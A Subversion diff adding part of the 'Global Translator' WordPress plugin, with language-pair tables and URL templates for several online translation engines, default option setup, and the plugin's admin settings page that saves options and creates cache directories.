+								    'lt'		=> 'Lithuanian',
+								    'sr'		=> 'Serbian',
+								    'sk'		=> 'Slovak',
+								    'sl'		=> 'Slovenian',
+								    'uk'		=> 'Ukrainian',								    
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+								    ),
+  'sq'    => array( 'sq'    => 'Albanian',
+                    'it'    => 'Italian',
+                    'ko'    => 'Korean',
+                    'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+                    'pt'    => 'Portuguese',
+                    'en'    => 'English',
+                    'de'    => 'German',
+                    'fr'    => 'French',
+                    'es'    => 'Spanish',
+                    'ja'    => 'Japanese',
+                    'ar'    => 'Arabic',
+                    'ru'    => 'Russian',
+                    'el'    => 'Greek',
+                    'nl'    => 'Dutch',
+                    'bg'    =>'Bulgarian',
+                    'cs'    =>'Czech',
+                    'hr'    =>'Croat',
+                    'da'    =>'Danish',
+                    'fi'    =>'Finnish',
+                    'hi'    =>'Hindi',
+                    'pl'    =>'Polish',
+                    'ro'    =>'Rumanian',
+                    'no'    =>'Norwegian',
+                    'sv'    =>'Swedish',
+                    'ca'    => 'Catalan',
+                    'tl'    => 'Filipino',
+                    'iw'    => 'Hebrew',
+                    'id'    => 'Indonesian',
+                    'lv'    => 'Latvian',
+                    'lt'    => 'Lithuanian',
+                    'sr'    => 'Serbian',
+                    'sk'    => 'Slovak',
+                    'sl'    => 'Slovenian',
+                    'uk'    => 'Ukrainian',                   
+                    'vi'    => 'Vietnamese',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'et'    => array( 'et'    => 'Estonian',
+                    'it'    => 'Italian',
+                    'ko'    => 'Korean',
+                    'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+                    'pt'    => 'Portuguese',
+                    'en'    => 'English',
+                    'de'    => 'German',
+                    'fr'    => 'French',
+                    'es'    => 'Spanish',
+                    'ja'    => 'Japanese',
+                    'ar'    => 'Arabic',
+                    'ru'    => 'Russian',
+                    'el'    => 'Greek',
+                    'nl'    => 'Dutch',
+                    'bg'    =>'Bulgarian',
+                    'cs'    =>'Czech',
+                    'hr'    =>'Croat',
+                    'da'    =>'Danish',
+                    'fi'    =>'Finnish',
+                    'hi'    =>'Hindi',
+                    'pl'    =>'Polish',
+                    'ro'    =>'Rumanian',
+                    'no'    =>'Norwegian',
+                    'sv'    =>'Swedish',
+                    'ca'    => 'Catalan',
+                    'tl'    => 'Filipino',
+                    'iw'    => 'Hebrew',
+                    'id'    => 'Indonesian',
+                    'lv'    => 'Latvian',
+                    'lt'    => 'Lithuanian',
+                    'sr'    => 'Serbian',
+                    'sk'    => 'Slovak',
+                    'sl'    => 'Slovenian',
+                    'uk'    => 'Ukrainian',                   
+                    'sq'    => 'Albanian',
+                    'vi'    => 'Vietnamese',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'gl'    => array( 'gl'    => 'Galician',
+                    'it'    => 'Italian',
+                    'ko'    => 'Korean',
+                    'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+                    'pt'    => 'Portuguese',
+                    'en'    => 'English',
+                    'de'    => 'German',
+                    'fr'    => 'French',
+                    'es'    => 'Spanish',
+                    'ja'    => 'Japanese',
+                    'ar'    => 'Arabic',
+                    'ru'    => 'Russian',
+                    'el'    => 'Greek',
+                    'nl'    => 'Dutch',
+                    'bg'    =>'Bulgarian',
+                    'cs'    =>'Czech',
+                    'hr'    =>'Croat',
+                    'da'    =>'Danish',
+                    'fi'    =>'Finnish',
+                    'hi'    =>'Hindi',
+                    'pl'    =>'Polish',
+                    'ro'    =>'Rumanian',
+                    'no'    =>'Norwegian',
+                    'sv'    =>'Swedish',
+                    'ca'    => 'Catalan',
+                    'tl'    => 'Filipino',
+                    'iw'    => 'Hebrew',
+                    'id'    => 'Indonesian',
+                    'lv'    => 'Latvian',
+                    'lt'    => 'Lithuanian',
+                    'sr'    => 'Serbian',
+                    'sk'    => 'Slovak',
+                    'sl'    => 'Slovenian',
+                    'uk'    => 'Ukrainian',                   
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'vi'    => 'Vietnamese',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'mt'    => array( 'mt'    => 'Maltese',
+                    'it'    => 'Italian',
+                    'ko'    => 'Korean',
+                    'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+                    'pt'    => 'Portuguese',
+                    'en'    => 'English',
+                    'de'    => 'German',
+                    'fr'    => 'French',
+                    'es'    => 'Spanish',
+                    'ja'    => 'Japanese',
+                    'ar'    => 'Arabic',
+                    'ru'    => 'Russian',
+                    'el'    => 'Greek',
+                    'nl'    => 'Dutch',
+                    'bg'    =>'Bulgarian',
+                    'cs'    =>'Czech',
+                    'hr'    =>'Croat',
+                    'da'    =>'Danish',
+                    'fi'    =>'Finnish',
+                    'hi'    =>'Hindi',
+                    'pl'    =>'Polish',
+                    'ro'    =>'Rumanian',
+                    'no'    =>'Norwegian',
+                    'sv'    =>'Swedish',
+                    'ca'    => 'Catalan',
+                    'tl'    => 'Filipino',
+                    'iw'    => 'Hebrew',
+                    'id'    => 'Indonesian',
+                    'lv'    => 'Latvian',
+                    'lt'    => 'Lithuanian',
+                    'sr'    => 'Serbian',
+                    'sk'    => 'Slovak',
+                    'sl'    => 'Slovenian',
+                    'uk'    => 'Ukrainian',                   
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'vi'    => 'Vietnamese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'th'    => array( 'th'    => 'Thai',
+                    'it'    => 'Italian',
+                    'ko'    => 'Korean',
+                    'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+                    'pt'    => 'Portuguese',
+                    'en'    => 'English',
+                    'de'    => 'German',
+                    'fr'    => 'French',
+                    'es'    => 'Spanish',
+                    'ja'    => 'Japanese',
+                    'ar'    => 'Arabic',
+                    'ru'    => 'Russian',
+                    'el'    => 'Greek',
+                    'nl'    => 'Dutch',
+                    'bg'    =>'Bulgarian',
+                    'cs'    =>'Czech',
+                    'hr'    =>'Croat',
+                    'da'    =>'Danish',
+                    'fi'    =>'Finnish',
+                    'hi'    =>'Hindi',
+                    'pl'    =>'Polish',
+                    'ro'    =>'Rumanian',
+                    'no'    =>'Norwegian',
+                    'sv'    =>'Swedish',
+                    'ca'    => 'Catalan',
+                    'tl'    => 'Filipino',
+                    'iw'    => 'Hebrew',
+                    'id'    => 'Indonesian',
+                    'lv'    => 'Latvian',
+                    'lt'    => 'Lithuanian',
+                    'sr'    => 'Serbian',
+                    'sk'    => 'Slovak',
+                    'sl'    => 'Slovenian',
+                    'uk'    => 'Ukrainian',                   
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'vi'    => 'Vietnamese',
+                    'tr'    => 'Turkish',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'tr'    => array( 'tr'    => 'Turkish',
+                    'it'    => 'Italian',
+                    'ko'    => 'Korean',
+                    'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+                    'pt'    => 'Portuguese',
+                    'en'    => 'English',
+                    'de'    => 'German',
+                    'fr'    => 'French',
+                    'es'    => 'Spanish',
+                    'ja'    => 'Japanese',
+                    'ar'    => 'Arabic',
+                    'ru'    => 'Russian',
+                    'el'    => 'Greek',
+                    'nl'    => 'Dutch',
+                    'bg'    =>'Bulgarian',
+                    'cs'    =>'Czech',
+                    'hr'    =>'Croat',
+                    'da'    =>'Danish',
+                    'fi'    =>'Finnish',
+                    'hi'    =>'Hindi',
+                    'pl'    =>'Polish',
+                    'ro'    =>'Rumanian',
+                    'no'    =>'Norwegian',
+                    'sv'    =>'Swedish',
+                    'ca'    => 'Catalan',
+                    'tl'    => 'Filipino',
+                    'iw'    => 'Hebrew',
+                    'id'    => 'Indonesian',
+                    'lv'    => 'Latvian',
+                    'lt'    => 'Lithuanian',
+                    'sr'    => 'Serbian',
+                    'sk'    => 'Slovak',
+                    'sl'    => 'Slovenian',
+                    'uk'    => 'Ukrainian',                   
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'vi'    => 'Vietnamese',
+                    'hu'    => 'Hungarian'                    
+                    ),
+  'hu'    => array( 'hu'    => 'Hungarian',
+                    'it'    => 'Italian',
+                    'ko'    => 'Korean',
+                    'zh-CN' => 'Chinese (Simplified)',
+                    'zh-TW' => 'Chinese (Traditional)',
+                    'pt'    => 'Portuguese',
+                    'en'    => 'English',
+                    'de'    => 'German',
+                    'fr'    => 'French',
+                    'es'    => 'Spanish',
+                    'ja'    => 'Japanese',
+                    'ar'    => 'Arabic',
+                    'ru'    => 'Russian',
+                    'el'    => 'Greek',
+                    'nl'    => 'Dutch',
+                    'bg'    =>'Bulgarian',
+                    'cs'    =>'Czech',
+                    'hr'    =>'Croat',
+                    'da'    =>'Danish',
+                    'fi'    =>'Finnish',
+                    'hi'    =>'Hindi',
+                    'pl'    =>'Polish',
+                    'ro'    =>'Rumanian',
+                    'no'    =>'Norwegian',
+                    'sv'    =>'Swedish',
+                    'ca'    => 'Catalan',
+                    'tl'    => 'Filipino',
+                    'iw'    => 'Hebrew',
+                    'id'    => 'Indonesian',
+                    'lv'    => 'Latvian',
+                    'lt'    => 'Lithuanian',
+                    'sr'    => 'Serbian',
+                    'sk'    => 'Slovak',
+                    'sl'    => 'Slovenian',
+                    'uk'    => 'Ukrainian',                   
+                    'sq'    => 'Albanian',
+                    'et'    => 'Estonian',
+                    'gl'    => 'Galician',
+                    'mt'    => 'Maltese',
+                    'th'    => 'Thai',
+                    'tr'    => 'Turkish',
+                    'vi'    => 'Vietnamese',                   
+                    ),
+  ),
+
+	array(
+	  'it'    => 'Italian',
+	  'ko'    => 'Korean',
+	  'zh-CN' => 'Chinese (Simplified)',
+    'zh-TW' => 'Chinese (Traditional)',
+	  'pt'    => 'Portuguese',
+	  'en'    => 'English',
+	  'de'    => 'German',
+	  'fr'    => 'French',
+	  'es'    => 'Spanish',
+	  'ja'    => 'Japanese',
+	  'ar'    => 'Arabic',
+	  'ru'		=> 'Russian',
+	  'el'    => 'Greek',
+	  'nl'		=> 'Dutch',
+    'bg'		=> 'Bulgarian',
+    'cs'		=> 'Czech',
+    'hr'		=> 'Croatian',
+    'da'		=> 'Danish',
+    'fi'		=> 'Finnish',
+    'hi'		=> 'Hindi',
+    'pl'		=> 'Polish',
+    'ro'		=> 'Romanian',
+    'sv'		=> 'Swedish',
+    'no'		=> 'Norwegian',
+    'ca'    => 'Catalan',
+    'tl'    => 'Filipino',
+    'iw'		=> 'Hebrew',
+    'id'		=> 'Indonesian',
+    'lv'		=> 'Latvian',
+    'lt'		=> 'Lithuanian',
+    'sr'		=> 'Serbian',
+    'sk'		=> 'Slovak',
+    'sl'		=> 'Slovenian',
+    'uk'		=> 'Ukrainian',
+    'vi'		=> 'Vietnamese',
+	  'sq'    => 'Albanian',
+	  'et'    => 'Estonian',
+	  'gl'    => 'Galician',
+	  'mt'    => 'Maltese',
+	  'th'    => 'Thai',
+	  'tr'    => 'Turkish',
+	  'hu'    => 'Hungarian'
+	  
+	
+	  )
+
+	);
+
+
+$babelfishEngine = new gltr_translation_engine(
+	'babelfish',
+	'http://babelfish.yahoo.com/babelfish/trurl_pagecontent?lp=${SRCLANG}_${DESTLANG}&url=${URL}',
+	//array("/<a(.*?)href=\"(.*?)url=(.*?)\"([\s|>]{1})/i"),
+	array(
+		"/href=[']{1}[^']*url=(.*?)[']{1}/",
+		"/href=[\"]{1}[^\"]*url=(.*?)[\"]{1}/"
+	),		
+	"<a href=\"\\1\" ",
+	array(
+  'it'    => array( 'it'=>'Italiano',
+                    'en'=>'Inglese',
+                    'fr'=>'Francese'),
+  'ko'    => array( 'ko'=>'Korean',
+                    'en'=>'English'),
+  'zh' 		=> array( 'zh'=>'Chinese (Simplified)',
+                    'en'=>'English'),
+  'zt' 		=> array( 'zt'=>'Chinese (Traditional)',
+                    'en'=>'English'),
+  'pt'    => array( 'pt'=>'Portugues',
+                    'en'=>'Ingles',
+                    'fr'=>'Francais'),//to be verified
+  'en'    => array( 'en'=>'English',
+                    'zh'=>'Chinese (Simplified)',
+                    'zt'=>'Chinese (Traditional)',
+                    'nl'=>'Dutch',
+                    'fr'=>'French',
+                    'de'=>'German',
+                    'el'=>'Greek',
+                    'it'=>'Italian',
+                    'ja'=>'Japanese',
+                    'ko'=>'Korean',
+                    'pt'=>'Portuguese',
+                    'ru'=>'Russian',
+                    'es'=>'Spanish'),
+  'nl'    => array( 'nl'=>'Dutch',
+  									'en'=>'English',
+  									'fr'=>'French'),
+  'de'    => array( 'de'=>'Deutsch',
+                    'en'=>'Englisch',
+                    'fr'=>'Franzosisch'),
+  'fr'    => array( 'fr'=>'Francais',
+                    'en'=>'Anglais',
+                    'de'=>'Allemand',
+                    'el'=>'Grec',
+                    'it'=>'Italien',
+                    'pt'=>'Portugais',
+                    'es'=>'Espagnol',
+                    'nl'=>'Hollandais'),
+  'el'    => array( 'el'=>'Greek',
+  									'en'=>'English',
+  									'fr'=>'French'),
+  'es'    => array( 'es'=>'Espanol',
+                    'en'=>'Ingles'),
+  'ja'    => array( 'ja'=>'Japanese',
+                    'en'=>'English'),
+  'ru'    => array( 'ru'=>'Russian',
+                    'en'=>'English')
+  ),
+
+	array(
+	  'it'    => 'Italian',
+	  'ko'    => 'Korean',
+	  'zh' 		=> 'Chinese (Simplified)',
+	  'zt' 		=> 'Chinese (Traditional)',
+	  'pt'    => 'Portuguese',
+	  'en'    => 'English',
+	  'el'    => 'Greek',
+	  'nl'    => 'Dutch',
+	  'de'    => 'German',
+	  'fr'    => 'French',
+	  'es'    => 'Spanish',
+	  'ja'    => 'Japanese',
+	  'ru'		=> 'Russian'
+	  )
+	);
+
+$promtEngine = new gltr_translation_engine(
+  'promt',
+  'http://www.online-translator.com/url/translation.aspx?autotranslate=on&sourceURL=${URL}&direction=${SRCLANG}${DESTLANG}',
+  //http://www.online-translator.com//url/translation.aspx?direction=ie&template=General&autotranslate=on&transliterate=&showvariants=&sourceURL=http://www.nothing2hide.net
+  //old version 'http://beta.online-translator.com/url/tran_url.asp?prmtlang=en&autotranslate=on&url=${URL}&direction=${SRCLANG}${DESTLANG}',
+  //old version 'http://www.online-translator.com/url/tran_url.asp?url=${URL}&direction=${SRCLANG}${DESTLANG}&cp1=UTF-8&cp2=UTF-8&autotranslate=on',
+  //array("/href=\"(.*?)url=(.*?)\"([\s|>]{1})/i"),
+	array(
+		"/href=[']{1}[^']*sourceURL=([^'|#]*)([#]{0,1}[^']*)[']{1}/",
+		"/href=[\"]{1}[^\"]*sourceURL=([^\"|#]*)([#]{0,1}[^\"]*)[\"]{1}/"
+	),  
+	"href=\"\\1\" ",
+  array(
+  'it'    => array( 'it'=>'Italiano',
+                    'en'=>'Inglese',
+                    'ru'=>'Russo'),
+  'pt'    => array( 'pt'=>'Portugues',
+                    'en'=>'Ingles'),//to be verified
+  'en'    => array( 'en'=>'English',
+                    'fr'=>'French',
+                    'de'=>'German',
+                    'it'=>'Italian',
+                    'pt'=>'Portuguese',
+                    'ru'=>'Russian',
+                    'es'=>'Spanish'),
+  'de'    => array( 'de'=>'Deutsch',
+                    'en'=>'Englisch',
+                    'fr'=>'Franzosisch',
+                    'es'=>'Spanish',
+                    'ru'=>'Russian'
+                    ),
+  'fr'    => array( 'fr'=>'Francais',
+                    'en'=>'Anglais',
+                    'de'=>'Allemand',
+                    'ru'=>'Russian', //
+                    'es'=>'Espagnol'),
+  'es'    => array( 'es'=>'Espanol',
+                    'en'=>'Ingles',
+                    'ru'=>'Russian',
+                    'de'=>'German',
+                    'fr'=>'French'
+                    ),
+  'ru'    => array( 'ru'=>'Russian',
+                    'en'=>'English',
+                    'fr'=>'French',
+                    'de'=>'German',
+                    'es'=>'Spanish'
+                    )
+  ),
+
+
+
+  array(
+    'it'    => 'Italian',
+    'pt'    => 'Portuguese',
+    'en'    => 'English',
+    'de'    => 'German',
+    'fr'    => 'French',
+    'es'    => 'Spanish',
+    'ru'    => 'Russian'
+    )
+  );
+
+$freetranslationEngine = new gltr_translation_engine(
+  'freetransl',
+  'http://fets5.freetranslation.com/?sequence=core&language=${SRCLANG}/${DESTLANG}&url=${URL}',
+  array("/href=\"([^\"]*)\"/i"),
+  "href=\"\\1\"", 
+  array(
+  'it'    => array( 'it'=>'Italiano',
+                    'en'=>'Inglese'),
+  'pt'    => array( 'pt'=>'Portugues',
+                    'en'=>'Ingles'),//to be verified
+  'en'    => array( 'en'=>'English',
+                    'es'=>'Spanish',
+                    'fr'=>'French',
+                    'de'=>'German',
+                    'it'=>'Italian',
+                    'nl'=>'Dutch',
+                    'pt'=>'Portuguese',
+                    'no'=> 'Norwegian'
+                    ),
+  'de'    => array( 'de'=>'Deutsch',
+                    'en'=>'Englisch'
+                    ),
+  'fr'    => array( 'fr'=>'Francais',
+                    'en'=>'Anglais'
+                    ),
+  'es'    => array( 'es'=>'Espanol',
+                    'en'=>'Ingles',
+                    ),
+  'nl'    => array( 'nl'=>'Dutch',
+                    'en'=>'English'
+                    )
+  ),
+
+  array(
+    'it'    => 'Italian',
+    'pt'    => 'Portuguese',
+    'en'    => 'English',
+    'de'    => 'German',
+    'fr'    => 'French',
+    'es'    => 'Spanish',
+    'no'    => 'Norwegian',
+    'nl'    => 'Dutch',
+    )
+  );
+
+$well_known_extensions =  
+    array('swf','gif','jpg','jpeg','bmp','gz','zip','rar','tar','png','xls',
+    'doc','ppt','tiff','avi','mpeg','mp3','mov','mp4','c','sh','bat');
+$gltr_available_engines = array();
+$gltr_available_engines['google'] = $googleEngine;
+$gltr_available_engines['promt'] = $promtEngine;
+$gltr_available_engines['babelfish'] = $babelfishEngine;
+$gltr_available_engines['freetransl'] = $freetranslationEngine;
+
+
+/*Lets add some default options if they don't exist*/
+add_option('gltr_base_lang', 'en');
+add_option('gltr_col_num', '0');
+add_option('gltr_html_bar_tag', 'MAP');
+add_option('gltr_my_translation_engine', 'google');
+add_option('gltr_preferred_languages', array());
+add_option('gltr_ban_prevention', true);
+add_option('gltr_enable_debug', false);
+add_option('gltr_conn_interval',300);
+add_option('gltr_sitemap_integration',false);
+add_option("gltr_last_connection_time",0);
+add_option("gltr_translation_status","unknown");
+add_option("gltr_cache_expire_time",30);
+
+if (function_exists('gzcompress')){
+	add_option("gltr_compress_cache",false);
+} else {
+	add_option("gltr_compress_cache",false);
+}
+
+if (!function_exists('str_ireplace')){
+  function str_ireplace($search,$replace,$subject){
+    $token = chr(1);
+    $haystack = strtolower($subject);
+    $needle = strtolower($search);
+    while (($pos=strpos($haystack,$needle))!==FALSE){
+      $subject = substr_replace($subject,$token,$pos,strlen($search));
+      $haystack = substr_replace($haystack,$token,$pos,strlen($search));
+    }
+    $subject = str_replace($token,$replace,$subject);
+    return $subject;
+  }
+} 
+if( !defined('WP_CONTENT_DIR') ) define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' );
+$gltr_cache_dir = WP_CONTENT_DIR . "/gt-cache";
+$gltr_stale_dir = WP_CONTENT_DIR . "/gt-cache/stale";
+$gltr_merged_image=dirname(__file__) . '/gltr_image_map.png';
+$gltr_uri_index = array();
+
+$gltr_VERSION='1.2.5.1';
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/options-translator.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/options-translator.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/global-translator/options-translator.php	(revision 44)
@@ -0,0 +1,690 @@
+<?php
+require_once (dirname(__file__).'/header.php');
+$gltr_stale_size = 0;
+$gltr_cache_size = 0;
+$gltr_cached_files_num = 0;
+$gltr_stale_files_num = 0;
+$showstats = false;
+if (isset($_POST['gltr_stats']) && 'show' == $_POST['gltr_stats']){
+    gltr_init_info();
+    $showstats = true;
+} 
+
+function gltr_files_stats($dir,$exclusions=""){
+  //gltr_debug("====>CALC: $dir");
+	$res = array("num"=>0,"size"=>0);
+  if (file_exists($dir) && is_dir($dir) && is_readable($dir)) {
+  	$files = glob($dir . '/*');
+    if (is_array($files)){
+      foreach($files as $path){
+          if ($exclusions != "" && strpos($path,$exclusions)!==false) {
+            //gltr_debug("$dir: EXCLUDING====>$item");
+          	continue;
+    }
+          if (is_dir($path)){
+          	//gltr_debug("====>Found dir: $path");
+          	$rres = gltr_files_stats($path, $exclusions);
+            $res["size"] += $rres["size"];
+            $res["num"] += $rres["num"];
+          }else if (file_exists($path) && is_file($path))
+            $res["size"] += filesize($path);
+            $res["num"]++;
+  }
+      
+      }
+    }
+  return $res;
+  }
+
+function gltr_init_info(){
+	global $gltr_stale_size;
+	global $gltr_cache_size;
+	global $gltr_cached_files_num;
+	global $gltr_stale_files_num;
+	global $gltr_cache_dir;
+	global $gltr_stale_dir;
+	
+	//cachedir
+  $res_cache = gltr_files_stats($gltr_cache_dir, "stale");
+  $gltr_cache_size = $res_cache["size"];
+  $gltr_cached_files_num = $res_cache["num"];
+  //staledir
+  $res_cache = gltr_files_stats($gltr_stale_dir);
+  $gltr_stale_size = $res_cache["size"];
+  $gltr_stale_files_num = $res_cache["num"];
+  
+}
+
+
+
+function gltr_get_last_cached_file_time(){
+	$res = -1;
+  $last_connection_time = get_option("gltr_last_connection_time");
+  if ($last_connection_time > 0){
+	  $now = time();
+	  $res = $now - $last_connection_time;
+  }
+	return $res;
+}
+
+load_plugin_textdomain('gltr'); // NLS
+
+$location = get_option('siteurl') . '/wp-admin/admin.php?page=global-translator/options-translator.php'; // Form Action URI
+	
+$diff_time = gltr_get_last_cached_file_time();
+
+/*check form submission and update options*/
+
+if (isset($_POST['stage'])){
+	//submitting something
+	$gltr_base_lang 						= $_POST['gltr_base_lang'];
+	$gltr_col_num 							= $_POST['gltr_col_num'];
+	$gltr_html_bar_tag 					= $_POST['gltr_html_bar_tag'];
+	$gltr_my_translation_engine = $_POST['gltr_my_translation_engine'];
+	$gltr_conn_interval 				= $_POST['gltr_conn_interval'];
+	$gltr_cache_expire_time 		= $_POST['gltr_cache_expire_time'];
+
+	if (isset($_POST['gltr_preferred_languages']))
+		$gltr_preferred_languages = $_POST['gltr_preferred_languages'];
+	
+	if(isset($_POST['gltr_enable_debug'])) 
+		$gltr_enable_debug = true; 
+	else 
+		$gltr_enable_debug = false;
+
+	if(isset($_POST['gltr_ban_prevention'])) 
+		$gltr_ban_prevention = true; 
+	else 
+		$gltr_ban_prevention = false;
+	
+	if(isset($_POST['gltr_sitemap_integration'])) 
+		$gltr_sitemap_integration = true; 
+	else 
+		$gltr_sitemap_integration = false;
+	
+	if(isset($_POST['gltr_compress_cache'])) 
+		$gltr_compress_cache = true; 
+	else 
+		$gltr_compress_cache = false;
+	
+	
+	
+	if ('change' == $_POST['stage']) {
+		//recalculate some things
+		$gltr_my_translation_engine = $_POST['gltr_my_translation_engine'];
+		$gltr_preferred_languages = get_option('gltr_preferred_languages');
+	} else if ('process' == $_POST['stage']){
+	  if(!empty($_POST["gltr_erase_cache"])) {
+	  	/* deactivated!
+	  	//Erase cache button pressed
+  	  $cachedir = $gltr_cache_dir;
+	    if (file_exists($cachedir) && is_dir($cachedir) && is_readable($cachedir)) {
+	      $handle = opendir($cachedir);
+	      while (FALSE !== ($item = readdir($handle))) {
+	        if($item != '.' && $item != '..' && !is_dir($item)) {
+	          $path = $cachedir.'/'.$item;
+	          if (file_exists($path) && is_file($path))
+	          	unlink($path);
+	        }
+	      }
+	      closedir($handle);
+	      $message = "Cache dirs successfully erased.";
+	    } else {
+	      //$message = "Unable to erase cache or cache dir '$cachedir' doesn't exist.";
+	      //break;
+	    }
+		  */
+	  } else {
+	  	//update options button pressed
+
+      $iserror = false;
+	    if (count ($gltr_preferred_languages) == 0) {
+	      $message .= "Error: you must choose almost one of the available translations.";
+	      $iserror = true;
+	    }
+	    
+	    if(!$iserror) {
+        if (file_exists($gltr_merged_image) && is_file($gltr_merged_image))
+          unlink($gltr_merged_image);
+	      update_option('gltr_base_lang', $_POST['gltr_base_lang']);
+	      update_option('gltr_col_num', $_POST['gltr_col_num']);
+	      update_option('gltr_html_bar_tag', $_POST['gltr_html_bar_tag']);
+	      update_option('gltr_my_translation_engine', $_POST['gltr_my_translation_engine']);
+	      update_option('gltr_preferred_languages', array());
+	      update_option('gltr_preferred_languages', $_POST['gltr_preferred_languages']);
+				update_option("gltr_last_connection_time",time());
+				update_option("gltr_translation_status","unknown");
+	      $diff_time = -1;
+
+	      $conn_int = $_POST['gltr_conn_interval'];
+	      if (!is_numeric($conn_int))$conn_int = 300;
+	      update_option('gltr_conn_interval', $conn_int);
+				$gltr_conn_interval = $conn_int;
+				
+	      $exp_time = $_POST['gltr_cache_expire_time'];
+	      if (!is_numeric($exp_time))$exp_time = 30;
+	      update_option('gltr_cache_expire_time', $exp_time);
+				$gltr_cache_expire_time = $exp_time;
+				
+	
+	      if(isset($_POST['gltr_ban_prevention']))
+	        update_option('gltr_ban_prevention', true);
+	      else
+	        update_option('gltr_ban_prevention', false);
+
+	      if(isset($_POST['gltr_sitemap_integration']))
+	        update_option('gltr_sitemap_integration', true);
+	      else
+	        update_option('gltr_sitemap_integration', false);
+
+	      if(isset($_POST['gltr_compress_cache']))
+	        update_option('gltr_compress_cache', true);
+	      else
+	        update_option('gltr_compress_cache', false);
+	
+	
+	      if(isset($_POST['gltr_enable_debug']))
+	        update_option('gltr_enable_debug', true);
+	      else
+	        update_option('gltr_enable_debug', false);
+	
+	
+				$wp_rewrite->flush_rules();
+	      $message = "Options saved.";
+	    }
+	  }
+	}		
+} else {
+	//page loaded by menu: retrieve stored options
+	$gltr_base_lang = get_option('gltr_base_lang');
+	$gltr_col_num = get_option('gltr_col_num');
+	$gltr_html_bar_tag = get_option('gltr_html_bar_tag');
+	$gltr_my_translation_engine = get_option('gltr_my_translation_engine');
+	$gltr_preferred_languages = get_option('gltr_preferred_languages');
+	$gltr_ban_prevention = get_option('gltr_ban_prevention');
+	$gltr_sitemap_integration = get_option('gltr_sitemap_integration');
+	$gltr_compress_cache = get_option('gltr_compress_cache');
+	
+	$gltr_enable_debug = get_option('gltr_enable_debug');
+	$gltr_conn_interval = get_option('gltr_conn_interval');
+	$gltr_cache_expire_time = get_option('gltr_cache_expire_time');
+
+
+	$gltr_current_engine = $gltr_available_engines[$gltr_my_translation_engine];
+	$gltr_lang_matrix = $gltr_current_engine->get_languages_matrix();
+	if (count($gltr_preferred_languages) == 0) {
+		$i = 0;
+		foreach($gltr_lang_matrix[$gltr_base_lang] as $lang_key => $lang_value){
+			if ($lang_key == $gltr_base_lang) continue;
+			$gltr_preferred_languages[]=$lang_key;
+			$i++;
+		}
+		update_option('gltr_preferred_languages', $gltr_preferred_languages);
+	}
+
+  $cachedir = $gltr_cache_dir;
+  
+  $message = "";
+
+  if (!is_writeable(dirname(__file__))){
+    $message = "Unable to complete Global Translator initialization. Please make writable and readable the following directory:
+    <ul><li>".dirname(__file__)."</li></ul>";
+  } else
+  if (!is_dir($cachedir) && (!is_readable(WP_CONTENT_DIR) || !is_writable(WP_CONTENT_DIR) )){
+    $message = "Unable to complete Global Translator initialization. Please make writable and readable the following directory:
+    <ul><li>".WP_CONTENT_DIR."</li></ul>";
+  } else {
+  
+  if (!is_dir($cachedir)){
+    if(!mkdir($cachedir, 0777)){
+      $message = "Unable to complete Global Translator initialization. Please manually create and make readable and writeable the following directory:
+      <ul><li>".WP_CONTENT_DIR."</li></ul>";
+    }
+  } else if (!is_readable($cachedir) || !is_writable($cachedir) ){
+    $message = "Unable to complete Global Translator initialization. Please make readable and writeable the following directory:
+    <ul><li>".$cachedir."</li></ul>";
+  }
+
+  if (is_dir($cachedir) && is_readable($cachedir) && is_writable($cachedir)){
+    $staledir = $gltr_stale_dir;
+    if (!is_dir($staledir)){
+      if(!mkdir($staledir, 0777)){
+        $message = "Unable to complete Global Translator initialization. Please manually create and make readable and writeable the following directory:
+        <ul><li>".$cachedir."</li></ul>";
+      }
+    } else if (!is_readable($staledir) || !is_writable($staledir) ){
+      $message = "Unable to complete Global Translator initialization. Please make readable and writeable the following directory:
+      <ul><li>".$staledir."</li></ul>";
+    }
+  }
+	  
+	  //check files
+	  /*
+	  $datafiles = array();
+	  foreach($datafiles as $datafile){
+	  	if(!is_file($datafile)){
+		    if (!gltr_create_file($datafile)){
+					$message .= "Unable to complete Global Translator initialization. Please create and make readable and writeable the following file:
+			    <ul><li>".$datafile."</li></ul><br />";  		
+		    }
+	  	} else if (!is_readable($datafile) || !is_writeable($datafile)){
+				$message .= "Unable to complete Global Translator initialization. Please make readable and writeable the following file:
+		    <ul><li>".$datafile."</li></ul><br />";  		
+	  	}
+	  }  
+	  */
+	}  
+}
+
